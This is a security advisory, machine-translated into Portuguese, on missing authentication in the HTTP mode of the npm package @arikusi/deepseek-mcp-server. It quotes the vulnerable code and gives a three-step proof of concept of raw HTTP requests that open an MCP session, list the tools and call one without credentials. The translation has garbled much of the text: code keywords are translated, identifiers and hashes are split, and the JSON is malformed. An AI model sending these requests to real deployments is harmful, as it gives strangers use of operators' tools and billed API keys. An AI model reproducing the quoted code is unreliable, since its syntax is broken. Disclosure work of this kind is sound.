Sumário O transporte HTTP auto- hospedado de `@arikusi/deepseek- mcp- server` expõe ` POST / mcp` sem qualquer autenticação: `createMcpExpressApp` é chamado sem um `authProvider` e nenhum middleware guarda a rota, para que qualquer cliente reencontrado em rede possa emitir um pedido `inicialize' não autenticado e obter um identificador de sessão MCP válido. Em testes reproduzidos contra commit ` 5 e 1302171 e 99 `, um cliente não autêntico foi capaz de inicializar uma sessão, enumerar ferramentas, e invocar a ferramenta local `deepseek_sessions` sem credenciais. A mesma sessão não autenticada também expõe `deepseek_chat`, cujo manipulador usa o servidor `DEEPSEEK_API_KEY` quando as implantações auto- hospedadas configuram um. Esta questão se aplica ao modo HTTP auto- hospedado, não ao objetivo BYOK documentado separadamente no `README. md`, que espera um cabeçalho `Autorização: Portador...`. Ativos de container auto- hospedados ascendentes habilitam o modo HTTP por padrão (`Dockerfile`) e publicam a porta ` 3000 ` (` docker- composte.yml`). ## Código Afectado `src/transport- http.ts: 17 ` — `crearMcpExpressApp` chamado sem `authProvider`; nenhum desafio é emitido para solicitações recebidas ````tipo de exportação da função createHttpApp(serverFactory: () => McpServer) { const app = createMcpExpressApp({ host: ' 0.0.0.0 ' }); ```.

`src/transport- http.ts: 31 ` — O gestor do 'POST / mcp` instantânea uma sessão MCP completa para qualquer corpo que satisfaça 'está Inicializando a Petição', sem verificação de autêntica prévia ```typescript app.post('/ mcp'), async (req, res) => { const sessionId = req. headers['mcp- session- id'] como string (') indefinido; if (sessionId & & transports[sessionId]) { aguarde transportes[sessionId]..handleRequest( req, res, req.body); return; } if (!sessionId & & isInicializeRequest( req.body)) { const transport = novo StreamableHTTPServerTransport( { sessionIdGenerator: () => randomUUID(), onsessioninicialized: (id) => { transports[id] = transport; console. erro(`[DeepSeek MCP]] HTTP session inicialized: ${id}`); }, };.

const server = serverFactory(); aguarde server.connect(transport); aguarde transport.handleRequest( req, res, req.body); ```. Cliente HTTP → ` POST / mcp` (não há auth middleware) → `transport- http.ts: 41 ` (`está Inicializando o branch` da Petição ') → `transporte- http.ts: 57 – 59 ` (` serverFactory()+connect+handleRequest`) `Dockerfile: 12 - 13 ` — imagem do container a montante padrão para o modo HTTP auto- hospedado ````Dockerfile ENV TRANSPORT=http ENV HTTP_PORT= 3000 ```. ` docker-composte.yml: 4 - 8 ` — o arquivo de composição a montante publica a porta ` 3000 ` e habilita o modo HTTP Serviços ``` yaml: deepseek- mcp: ports: - " 3000: 3000 " ambiente: - TRANSPORT=http ```.

Prova do passo do conceito 1 — enviar 'inicialize': servidor não autenticado retorna HTTP 200 e um `mcp- session-id` ao vivo — prova que não são necessárias credenciais para estabelecer uma sessão. ``` bash pitão 3 poc.py ```. ```http POST / mcp HTTP/ 1.1 Host: 127.0.0.1: 3000 Tipo de conteúdo: aplicativo/json Aceitar: aplicativo/json, texto/evento-stream {"jsonrpc":" 2.0 ",,id": 1 "método": "inicializar", "params": {"protocoloVersão":" 2024 - 11 - 05 ",,"capacidades": {},"clientInfo": {"nome":"poc-cliente","versão":" 1.0 "}}} ``` ```http HTTP/ 1.1 200 OK tipo de conteúdo: texto/evento-stream mcp-session-id: b 029 fc 8 f- 02 cc- 4 a 8 c-a 0 e 2 - 0223 cf 35 b 1 ba.

evento: dados da mensagem: {"resultado": {"protocolVersão":" 2024 - 11 - 05 ",,"capacidades": {"tools": {"listChanged":true},"prompts": {"listChanged":true},"resources": {"listChanged":true}},"serverInfo": {"nome":"deepseek-mcp-server","version":" 1.7.0 "}},"jsonrpc:" 2.0 ",,id": 1 } ``` Passo 2 — enviar `tools/list' não autenticados na sessão obtida: o servidor retorna a superfície completa da ferramenta (`deepseek_chat`, `deepseek_sessions`) — prova que a descoberta da ferramenta é alcançable sem credenciais. ```http POST / mcp HTTP/ 1.1 Host: 127.0.0.1: 3000 Tipo de conteúdo: aplicativo/json Aceitar: aplicativo/json, texto/evento-stream mcp-session-id: b 029 fc 8 f- 02 cc- 4 a 8 c-a 0 e 2 - 0223 cf 35 b 1 ba.

{"jsonrpc":" 2.0 ",,id": 2 ",método": "todos/lista", "params": {}} ```. ```text RESULTADO: PASS — ferramentas/lista devolvidos deepseek_chat e deepseek_sessions sem credenciais fornecidas. ``` Passo 3 — enviar `tools/call' não autenticado para a ferramenta local `deepseek_sessions` na sessão obtida: o servidor executa a ferramenta e retorna o resultado sem credenciais fornecidas. ```http POST / mcp HTTP/ 1.1 Host: 127.0.0.1: 3000 Tipo de conteúdo: aplicativo/json Aceita: aplicativo/json, texto/evento-stream mcp- session-id: 6 cf 58 anúncio 1 - 40 cc- 4 cd 4 - 99 a 3 - f 5 f 198 b 8 bf 71.

{"jsonrpc":" 2.0 ",,id": 2,"método":"tools/call","params":{"nome":"deepseek_sessions","argumentos":{"ação":"list"}}} ```. ```http HTTP/ 1.1 200 OK tipo de conteúdo: texto/evento-stream event: datas da mensagem: {"resultado": {"conteúdo":[{"tipo":"texto","texto":"Sem sessões ativas."}]},"jsonrpc":" 2.0 ",,id": 2 } ``` ## Impacto Em implantações HTTP auto- hospedadas, qualquer hospedeiro com acesso à rede à porta ` 3000 ` pode estabelecer uma sessão MCP autêntica e equivalente e invocar ferramentas MCP incorporadas sem fornecer credenciais. Isto foi verificado de extremidade a extremidade para o estabelecimento da sessão, a enumeração da ferramenta e a execução da ferramenta local `deepseek_sessions`.

` deepseek_chat` é exposto através da mesma sessão MCP não autenticada, e suas rotas de gerenciamento solicitam através do cliente DeepSeek do lado do servidor. Isso significa uma implantação usando um servidor válido `DEEPSEEK_API_KEY` coloca operações de DeepSeek facturadas por trás de um endpoint não autenticado. No entanto, o PoC reproduzido deste relatório usou uma chave API simulada e não valida diretamente a faturação ou o consumo de quotas a montante bem sucedido. ## Remediação Requer autenticação no modo HTTP auto- hospedado antes da criação da sessão MCP. No mínimo, passe um `authProvider` para `criarMcpExpressApp` no `transport- http.ts: 17 ` ou coloque um middleware de autenticação equivalente / um proxy inverso na frente de `/ mcp` para que os clientes não autênticos nunca alcançam o branch inicialize: ````typescript const app = createMcpExpressApp({ host: ' 0.0.0.0 ', authProvider, }); `` '.

Para implantações que só precisam de acesso local, liga- te ao ` 127.0.0.1 ` em vez de ` 0.0.0.0 ` em ambos `createMcpExpressApp` e `app.listen` (`transport- http.ts: 17 ` e `: 107 `) como uma medida de defesa em profundidade. Ascendente ` docker-compose.yml` publica atualmente ` 3000: 3000 `; mudando isso para ` 127.0.0.1: 3000: 3000 ` reduziria a exposição inadvertida em servidores multi- usuário ou servidor. Registro de aconselhamento: GHSA- 72 f 3 - 6 w 86 - 7 rv 3. Identificadores relacionados: CVE- 2026 - 55605. Tempo: GitHub Advisory Database publicou este registro em 2026 - 08 - 25 T 18: 38: 30.000 Z e lista a sua última modificação como 2026 - 08 - 25 T 18: 38: 30.000 Z.

Gravidade: MODERAR. Dados de pontuação publicados: CVSS_V 3: CVSS: 3.1 /AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:L. Software afetado e informações de versão: pacote npm @arikusi/deepseek-mcp-server — ECOSISTEM: introduzido 1.4.2, corrigido 1.8.0. Classificação e evidência: identificadores de fraqueza CWE- 306. O registro contém 7 suporte de referências nestes tipos: WEB, AVISO, EMBALAGAMENTO.